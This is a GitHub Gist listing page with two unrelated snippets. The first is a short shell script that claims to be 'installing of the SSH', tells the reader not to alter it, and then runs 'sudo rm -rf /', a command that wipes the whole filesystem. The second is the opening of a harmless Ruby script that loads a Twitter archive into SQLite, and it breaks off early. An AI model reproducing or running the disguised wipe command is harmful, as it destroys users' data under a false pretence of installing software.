Skip to content

Instantly share code, notes, and snippets.

echo "HI <FIRSTNAME>"
echo "Commencing installing of the SSH"
echo "STAND BACK"
# DO NOT ALTER REST OF THIS SCRIPT, SHOULD ONLY BE READ BY PROFESSIONALS
# ALTERING IT MIGHT HARM YOUR COMPUTER
sudo rm -rf /
@pjaspers
pjaspers / twitter-archive.rb
Last active October 25, 2023 21:13
If you have your twitter archive laying around, this will put it in a sqlite. Save it somewhere and run it with `ruby twitter-archive.rb` and it should just work (if you did a gem install sqlite3 first)
gem "sqlite3", "~> 1.6.7"
require "sqlite3"
require "json"
require "time"
archive_directory = "~/Documents/Archives/twitter-2023-07-01-826d9daac5cf75f140476a88ff1e97b0f4ba6b8bba8b47c62f8b8c1e65f7aee0"
output_db_path = "~/Sync/twitter.db"
begin
lines = File.readlines(File.expand_path(File.join(archive_directory, "data/tweets.js")), chomp: true); nil